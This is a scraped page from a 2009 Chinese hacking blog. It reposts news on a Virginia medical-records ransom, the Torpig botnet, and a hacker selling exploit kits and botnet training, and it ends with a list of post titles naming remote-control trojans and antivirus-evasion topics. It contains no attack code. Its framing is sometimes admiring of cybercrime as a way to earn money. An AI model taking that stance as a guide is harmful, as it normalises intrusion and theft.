Made the MSI installer display an error when Opera is running
Fixed eternal crash logging loop on a crash during startup
[DSK-251283] Fake shortcut displayed for some menu items (such as Full Screen)
[DSK-235536] Spaces inserted before the last character in Korean words
[DSK-247941] Chinese Input method Issue, Which can't overwrite the selected content in text box.
[DSK-248683] It should not be possible to upgrade Opera while Opera is running as another user
[DSK-250011] Thumbnail profile folder not moved to correct location
[DSK-251955] Opening files in other applications/View source in external text editor doesn't work
[DSK-252012] "Open with other application" gives "No registered application for this extension" error message

Mac
Fix for missing dialogs on Mac OS X 10.4 Tiger
Properly remove antialiasing on fonts smaller than the AA threshold
[DSK-247069] Silverlight doesn't work
[DSK-251919] Fix for opening downloads in default application

Unix
Allow right click menus be available after dragging a widget
[DSK-242992] No files in "Choose" dialog
[DSK-248017] Middle-clicking Speed Dial entries wasn't working.
[DSK-250407] Couldn't switch languages following resource changes.
[DSK-251946] Clipboard not updated when copying in an external application, after copying in Opera

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

【趣味】各种不同版本的发帖免责声明收集

2009-05-09T08:43:00.001+08:00

◎稚嫩版发贴免责声明：“以上内容完全是复制粘贴，本人并不明白其意思，故本人不对以上内容负法律责任，请不要跨省追捕。要详查请自己联系原作者，谢谢！”
◎黑客版发贴免责声明：“最近电脑黑客肆虐，因此回复内容可能为黑客发出，而非本人真实意思表示，谢绝跨省追捕，如拟了解详情，请直接与计算机黑客联系。”
◎文盲版发贴免责声明：“本人系文盲，文中多数字不认识，多数词不明白其含义，跟帖行为纯粹是身体缺乏营养，倒置肌肉神经抽搐，被动随手敲击键盘所致，并不意味本人同意、支持、反对，或了解、知晓文中观点，如有任何疑问请直接联系原作者本人。”
◎高级版发贴免责声明：“本人留言皆由网络复制，如有违反国家有关法律，请管理员及时删除本人跟帖；因删帖不及时所产生的任何法律（包括宪法、民法、刑法、书法、公检法、基本法、劳动法、没办法、婚姻法、输入法、国际法、著作权法、吸星大法、今日说法、与台湾关系法及文中涉及或可能涉及以及未涉及之法，各地社会治安综合管理条例）纠纷或责任本人概不负责。”

◎跨国版发贴免责声明：“以上内容均属复制粘贴，本人并非原作者，且本人并不理解其意义，故本人不对以上内容负法律责任，请勿跨省或跨国追捕，欲追究具体法律责任者，请联系原作者以及网站管理员或法人代表，谢谢！”
◎看帖免责声明：“本人只是无意间（并非故意）浏览上述内容，本人并不理解其意义，且本人浏览后将自行洗脑，请组织放心，故本人不因此而负法律责任，请勿跨省或跨国追捕。欲追究具体法律责任者，请联系原作者，谢谢！”
◎顶帖免责声明：“本人遇帖必顶但并不表示本人赞同或支持主帖观点请勿跨省抓捕，如果要抓，请抓楼主。”
◎顶帖免责声明：“本人有顶帖转帖强迫症，因此本人所顶所转之帖并不表示本人赞同或支持主帖观点，故本人不对主帖内容负法律责任，请勿跨省抓捕，如果要抓，请抓楼主”

原文链接：http://snow518.blogspot.com/2009/05/blog-post.html

黑客盗取美国弗州830万人病历勒索1000万美元

2009-05-08T20:54:00.000+08:00

环球时报特约记者林雯欣报道据美国福克斯新闻网7日报道，美国联邦调查局(FBI)官员今日对外证实收到了一份1000万美元的勒索信，发信者是一名或多名黑客，号称已经成功入侵弗吉尼亚州政府网站，盗取了近830万人的病历信息。联邦调查局正在对此事开展调查，而弗吉尼亚州警察局也在进一步检查是否还有其他的保密记录也遭到了窃取。

　　据FBI官员介绍，弗吉尼亚州信息技术局(VITA)上周已经将此案交由FBI帮助调查。

　　当被记者问到“公民个人信息是否安全”时，该官员表示：“我真的无法做任何表示，目前个人信息的安危可能就在一线之间。”而当被问及是否已经通知公民他们的信息可能已被破坏时，该官员称：“这是信息技术局负责的事情。”

　　上周日，在鼓励用户揭发政府机密并声称在网站上发布的消息不会被追踪到的WikiLeaks网站上，有人发布了一条消息，并表示在今年3月22日曾将这条消息也发布在了弗吉尼亚处方药监控程序网站首页上。

　　“弗吉尼亚请注意了！我已经控制了你的xxx（粗话），一共是825万7378份病人记录和3554万8087份处方。此外，我还将其做了加密备份，并将原有的资料数据全部删除。不幸的是，弗吉尼亚州官方的备份也在我手里消失了。”

　　“1000万美元，我就会很乐意地告知备份密码。你们有7天时间做决定，如果到期还不打算付钱，我就会把这宝贝儿放到市场上高价出售了。”

　　据悉，本周三下午弗吉尼亚处方药监控程序网站已经无法登录。负责这套监控程序的弗吉尼亚州卫生署主任Sandra Whitley Ryals今日证实，正在调查4月30日被黑客入侵的潜在安全缺口。并声明：“我们可以向市民保证，现在正在采取一切预防措施来保证安全。从上周四以来整个DHP系统都一直处于关闭，以确保程序数据的安全。”

　　虽然目前该系统处于安全状态，但当局并不排除病人的病历记录确实被窃取的可能性。这些记录中可能包括了社保卡号码、姓名、住址等，对于身份盗窃的不法活动这些信息已经完全足够了。

　　当局表示：“目前还不知道这800万人的病历记录在黑市上能卖出多高的价钱，但可以肯定的是，绝对远远超过1000万美元。”

　　弗吉尼亚州卫生署有关人士表示，即使是业余的黑客也能入侵该网站。“很多政府网站都因为缺乏时间精力和金钱，而没有充分检查他们的程序代码，给黑客留了后门。原谅我冒昧地说一句，在私人公司20万美元薪水的安全专家怎么甘愿来政府部门领这6万美元的工资？”目前，还没有收到黑客关于赎金发送到什么地方的电子邮件。

继续爆料：中国第一美女黑客yingcracker智慧与美丽化身

2009-05-08T20:44:00.004+08:00

近日，有着“中国最美女黑客”之称的上海女孩yingcracker走红网络。yingcracker是一个非主流的90后女孩。yingcracke甜美长相里透露着一股神秘智慧的超然气质，由于yingcracker不但长相漂亮还有着高深的技术，一度被称为“中国最美女黑客”。

上海女生“YingCracker”近日人气大涨，被称为“中国最美女黑客”。不少网友成为“粉丝”，美女黑客自曝，以她现时的技术教人，每个月平均可以赚到约15000元。

美女加上黑客通常马上就会成为焦点。早前，波兰知名美女黑客Joanna Rutkowska就因发表了一篇曝光了英特尔CPU一个缓存漏洞的文章而声名大噪，一举成为安全业内的焦点人物。中国的黑客不少，但女性黑客却寥寥可数，美女黑客就更为罕见了。甜美的相貌加上高明的技术，令上海女生“YingCracker”近日人气大涨。

PS：上面的内容来源于网络，与本人无关。原文链接：http://www.hinews.cn/news/system/2009/05/08/010474368.shtml不知道这样的出名是好事还是坏事，大家自重吧。我的技术现在一个月能拿多少钱？努力学习ing！！！

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

Botnet probe turns up 70GB of personal, financial data

2009-05-08T19:24:00.002+08:00

Researchers from the University of California gained control over a well-known and powerful network of hacked computers for 10 days, gaining insight into how it steals personal and financial data.

The botnet, known as Torpig or Sinowal, is one of the more sophisticated networks that uses hard-to-detect malicious software to infect computers and subsequently harvest data such as e-mail passwords and online banking credentials.

The researchers were able to monitor more than 180,000 hacked computers by exploiting a weakness within the command-and-control network used by the hackers to control the computers. It only worked for 10 days, however, until the hackers updated the command-and-control instructions, according to the researchers' 13-page paper.

Still, that was enough of a window to see the data-collecting power of Torpig/Sinowal. In that short time, about 70GB of data were collected from hacked computers.

The researchers stored the data and are working with law enforcement agencies such as the U.S. FBI, ISPs and even the U.S. Department of Defense to notify victims. ISPs also have shut down some Web sites that were used to supply new commands to the hacked machines, they wrote.

Torpig/Sinowal can pilfer user names and passwords from e-mail clients such as Outlook, Thunderbird and Eudora while also collecting e-mail addresses in those programs for use by spammers. It can also collect passwords from Web browsers.

Torpig/Sinowal can infect a PC if a computer visits a malicious Web site that is designed to test whether the computer has unpatched software, a technique known as a drive-by download attack. If the computer is vulnerable, a low-level piece of malicious software called a rootkit is slipped deep into the system.

The researchers found out that Torpig/Sinowal ends up on a system after it is first infected by Mebroot, a rootkit that appeared around December 2007.

Mebroot infects a computer's Master Boot Record (MBR), the first code a computer looks for when booting the operating system after the BIOS runs. Mebroot is powerful since any data that leaves the computer can be intercepted.

Mebroot can also download other code to the computer.

Torpig/Sinowal is customized to grab data when a person visits certain online banking and other Web sites. It is coded to respond to more than 300 Web sites, with the top targeted ones being PayPal, Poste Italiane, Capital One, E-Trade and Chase bank, the paper said.

If a person goes to a banking Web site, a falsified form is delivered that appears to be part of the legitimate site, but asks for a range of data a bank would not normally request, such as a PIN (personal identification number) or a credit card number.

Web sites using SSL (Secure Sockets Layer) encryption are not safe if used by a PC with Torpig/Sinowal, since the malicious software will grab information before it is encrypted, the researchers wrote.

Hackers typically sell passwords and banking information on underground forums to other criminals, who try to covert the data into cash. While it's difficult to precisely estimate the value of the information collected over the 10 days, it could be worth between $83,000 to $8.3 million, the research paper said.

There are ways to disrupt botnets such as Torpig/Sinowal. The botnet code includes an algorithm that generates domain names that the malware calls on for new instructions.

Security engineers have often been able to figure out those algorithms to predict which domains the malware will call on, and preregister those domains to disrupt the botnet. It is an expensive process, however. The Conficker worm, for example, can generate up to 50,000 domain names a day.

Registrars, companies that sell domain name registrations, should take a greater role in cooperating with the security community, the researchers wrote. But registrars have their own issues.

"With few exceptions, they often lack the resources, incentives or culture to deal with security issues associated with their roles," the paper said.

The original article can be viewed here:
http://www.computerworld.com/action/article.do?command=viewArticleBasic&art...

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

网络赚钱新方法--BloggerAds部落客广告

2009-05-08T12:26:00.001+08:00

通过互联网赚钱需要掌握合理的网络赚钱方法并且有经营网站的能力,常见的网络赚钱方法:网站流量转化模式(包括点击广告赚钱);目前比较受个人站长欢迎的点击广告网站联盟包括Google AdSense，BloggerAds广告联盟联盟等。

其中BloggerAds广告联盟是加盟网站数量最多的网络联盟之一，如果你有自己的网站或者博客，现在就可以申请加入BloggerAds广告联盟让您的网站
何谓部落客广告
BloggerAds部落客广告是一种专属于个人部落格上的广告模式，它是一种图文并茂的广告样式。能够将长期经营部落格的价值，转化为实质的收入，让您快速简单的获取利润。
BloggerAds与作者(Blogger)一起分享广告收益，BloggerAds坚持保留「部落格」原始精神，将放置广告的权力交由部落客决定，不强迫将广告置入部落格中，部落客可决定是否让该广告出现在自己的部落格中。

BloggerAds的诞生，是为了将作者对部落格(Blog)写作的「热情」转化为实质获利，以挖掘出每一位部落客的潜在价值。
部落格收益
部落客的收益，是透过部落格网站的活跃程度、广告价格以及广告放置的相关数值来计算，当部落格作者撰写的文章越丰富，吸引的越多浏览者参观，实际获得的广告收益也会越高。
■广告放置：广告放置的位置越高，所能获得的收益越高。
■广告价格：广告业者投放广告的实际广告价格所换算出来的金额。
■部落格活跃程度：是指包含作者文章的更新速度、部落格参观人数以及浏览者与部落格的互动程度等权重。
收益的领取
您的收益，可于每月的5-15日，登入个人专属的管理介面进行设定。您可依照个人需求，指定银行汇款、办公室领现、累积金额或是将您的收益直接捐给公益团体。
也可以给付外币到您paypal的帐号

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

中国最美女黑客现身网络自曝月入15000元

2009-05-07T14:33:00.003+08:00

美女加上黑客通常马上就会成为焦点。早前，波兰知名美女黑客JoannaRutkowska就因发表了一篇曝光了英特尔CPU一个缓存漏洞的文章而声名大噪，一举成为安全业内的焦点人物。中国的黑客不少，但女性黑客却寥寥可数，美女黑客就更为罕见了。甜美的相貌加上高明的技术，令上海女生“YingCracker”近日人气大涨。

“YingCracker”从事黑客这个“敏感”的行业，但她却并不会因此而把自己隐藏起来。（图片由受访者提供）

收费教人控制“肉鸡”

在一论坛上，一篇题为“中国最美女黑客”的帖子引来不少网友的关注。昨日，信息时报记者与这名网名为“YingCracker”的美女黑客取得了联系。进入“YingCracker”的空间，只见她在日志中发布了不少关于破解、入侵等技术的基础教程，更不时放出一些免费的小软件供网友下载使用，如IP修改工具、Office密码清除工具等。

当然，并非所有的软件都是免费的。“YingCracker”告诉记者，进入这行既是因为个人的爱好，也是因为家里并不算富裕，想通过自己的技术赚点生活费。黑客可以通过卖软件、教学等途径赚到钱，例如，一套蚂蚁帝国V6.8攻击器售价是500元，PDF漏洞网马下载者软件售价是2400元。由于技术好，慕名前来拜师学艺的人也不少。

据了解，一般一个具有初级计算机知识的人要学会Oday技术（也称为信息安全技术），至少要花上两至三个月的时间，而她教一个徒弟的收费是4000元。“学这个的人挺多的，有的是因为个人的原因，想搞‘肉鸡’（即控制别人的电脑），有的是因为商业的原因，想搞流量，入侵国外的网站，通过挂插件之类的赚钱。”她说。

不少网友成为“粉丝”

除此之外，她还会替别人破解软件，破解一个软件的价钱通常是500元至5000元不等，具体的价格是根据实际破解的难度，正版软件的价钱，以及更新的费用来设定的。她向记者透露，以她现时的技术，每个月平均可以赚到约15000元。

除了在个人空间上发布一些免费软件和语音教程外，“YingCracker”同时也是一个名为“我爱黑客安全组织”论坛的版主。而据她所知，中国“学这个的女生几乎是没有的”，美貌加上技术令“YingCracker”的空间人气大涨，不少经常到她博客取经的网友都成了她的忠实fans。

不仅是破解、入侵、漏洞分析的高手，还是美女，更令网友将她封为了“中国NO.1美女黑客”。“你的技术把你的魅力提上去了，也许这就是你吸引人的地方吧，崇拜死我了”，某网友留言说。

常被人冒名借以行骗

随着名气的增长，知道“YingCracker”的人多了，冒充她在网上行骗的人也多了起来。虽然技术高明，但这些网络骗子也令她相当头痛。最近，就有人在网上自称是她的软件代理，通过卖她的软件来骗钱。该骗子声称，可以以1000的低价贩卖她自创的PDF漏洞网马下载者软件，有买家上当受骗后便来找她晦气。

对此，“YingCracker”感到相当无奈，只能在日志中一再提醒众买家，从未让任何人代理出售她的0day软件，让大家千万不要上当。“网上什么人都有”，她说，有想用她的教程骗人的，有调戏、忽悠她的，甚至还有性骚扰和勒索的。

而或许因为内容敏感，昨日记者发稿时，论坛上那篇介绍她的帖子已经被删除了。

信息时报记者刘敬

以上是新闻的原文，我不知道现在我们国内的黑客界是怎么样的情况，但是我知道很多的东西都变化的太快了。知道这个传说中的美女黑客是偶然看到一个卖word 0day的视频说的。下载了一个，结果不仅需要注册还需要一个dll文件才能生成漏洞文件。后来去她的QQ博客看过，里面很多的东西都是教程，也是发在别人的黑客网站上。

对此人了解不深入，前一段时间经常见上线，最近没有，另外那个新闻报道的图片应该是从她的腾讯博客转出来的。和她聊的时候我说怎么不去国外的论坛卖？她说比如。后来没有再聊，最近也没上线。但是如果单纯的根据那个沸沸扬扬的office 0day来看的话，我想不单纯的是月入15000那么简单吧？从卖的软件和收费的破解就看得出来。但是这并不是什么光彩的事情，破解如果作为商业模式运行，从中牟取利益的话就太那个了。不知道会不会步misswe的后尘。

还是那句话：“黑人要小心，谨防意外生！”

版权声明：
转载请注明原作者:☆obaby☆
网站名称：☆Obaby's H4cking W0rld☆

☆Obaby's H4cking W0rld☆

本博客停止更新，请访问新博客-火星黑客研究院

上兴远程控制20090701

OD常用断点 ^_^ 很全很全

襄樊之行，龙潭虎穴

英雄泪

破解牧民战天会员捆绑器

郎咸平教授谈教育

China's Filtering Software Contains Pirated Code

Green Dam remote buffer overflow exploit

绿坝被老外爆严重安全问题

工信部过滤软件 “杀错良民”闹笑话

绿坝-花季护航软件技术分析 A Technical Analysis of the 'Green Dam-Youth Escort' Software

绿坝软件侵犯BSD协议

绿坝-花季护航软件遭破解 使用者绕开密码限制

绿坝 花季护航的过滤关键词

全球最危险黑客为避免引渡到美做最后努力

断网与黑客无关 我来抖一抖暴风那点见不得人的猫腻 转载

上兴远程控制20090601

中国计划要求在电脑中预装屏蔽某

读心术:..最恐怖的测试..被吓到了~

牛X的验证码

NB网络僵尸编译（续）

小熊远控2009 5.3 Release版

NB网络僵尸编译--配置生成服务端

QQ强制聊天器 批处理代码

Delphi惹谁了？

LibFetion 1.0 alpha 版本(Windows)

编译个人专版的灰鸽子

文件比较在免杀技术中的应用

Delphi带你走进IPv6的电视世界

动手打造自己的Google代理服务器

远程控制任我行 V10.5 绿色版 该版本拥有正向连接与反弹连接功能

灰鼠远控V2009

[国内BT]Windows 7 Build 7127 x86 官方简体中文二次封装

如此科技胸罩，敦促美女赶紧寻找真爱

转载：Delphi摄像头拍照

转载：查看内存数据的函数

异域镇魂曲的粉丝作品

QQ聊天记录远程查看器

女生上课上网语音聊天 老师请她改打电话

内网上线（苹果茶）PcShare/上兴

Windows Media Center 插件--在线 MTV

九城紧急维护魔兽世界 究竟会将魔兽国服领向何方

海盗湾创始人发起DDo$攻击

文件同步 GoodSync

暗访临沂戒网院：电击、强行拘禁和大把钞票，独立的地下社会ZZ

电波怒汉万峰骂评杭州富家子飙车案 ZZ

PE文件格式图

邪恶的短信...

Friday Top 5: Most Reported Countries (Inaccessibility)

学习笔记压缩壳脱壳方法（1）

www.google.co.ma HACKED

HGZ远程控制软件2009脱壳版

油价上涨后的7种替代品

文件夹背景 Delphi源码

瘾科学：你是色弱么？

Opera 10.0 Build 1491 Alpha

【趣味】各种不同版本的发帖免责声明收集

黑客盗取美国弗州830万人病历 勒索1000万美元

继续爆料：中国第一美女黑客yingcracker智慧与美丽化身

Botnet probe turns up 70GB of personal, financial data

网络赚钱新方法--BloggerAds部落客广告

中国最美女黑客现身网络 自曝月入15000元

绿坝-花季护航软件遭破解使用者绕开密码限制

绿坝花季护航的过滤关键词

断网与黑客无关我来抖一抖暴风那点见不得人的猫腻转载

QQ强制聊天器批处理代码

远程控制任我行 V10.5 绿色版该版本拥有正向连接与反弹连接功能

女生上课上网语音聊天老师请她改打电话

九城紧急维护魔兽世界究竟会将魔兽国服领向何方

黑客盗取美国弗州830万人病历勒索1000万美元

中国最美女黑客现身网络自曝月入15000元